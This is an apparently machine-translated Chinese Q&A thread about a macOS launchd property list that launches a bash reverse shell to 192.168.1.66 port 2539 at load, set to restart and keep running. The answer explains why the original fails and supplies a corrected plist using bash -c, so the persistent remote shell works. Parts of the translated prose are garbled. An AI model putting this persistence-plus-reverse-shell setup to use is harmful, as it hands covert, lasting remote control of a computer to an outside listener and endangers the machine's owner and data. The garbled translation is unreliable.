有人知道为什么加载时无法执行反向流连接吗?
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.unix.bash.plist</string>
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-i</string>
<string>>& /dev/tcp/192.168.1.66/2539 0>& 1</string>
</array>
<key>RunAtLoad</key>
<true/>
<key>StartInterval</key>
<integer>100</integer>
<key>KeepAlive</key>
<true/>
</dict>
</plist>
答案1
重定向(例如<
或>
)(在大多数 Unix 中,甚至是/dev/tcp
特殊文件)是 shell 命令语法的一部分,只能在支持它们的 shell 中使用。但是,启动 才不是使用任何 shell 启动服务 – 它直接使用或类似函数创建进程execve()
,传递不再进一步解释的参数列表。
在这种情况下,/bin/bash
将被执行,并接收以下参数:
- argv[0] = "
/bin/bash
" - argv[1] = "
-i
" - argv[2] = "
>& /dev/tcp/192.168.1.66/2539 0>& 1
" - argv[3] = 空
Bash 将第二个参数(argv[2])解释为要运行的 shell 脚本的文件名;由于这样的文件不存在,因此 bash 退出。
现在,如果你需要该命令需要由 shell 解释,您必须手动运行 shell:
<key>ProgramArguments</key>
<array>
<string>/bin/bash</string>
<string>-c</string>
<string>bash -i >& /dev/tcp/192.168.1.66/2539 0>& 1</string>
</array>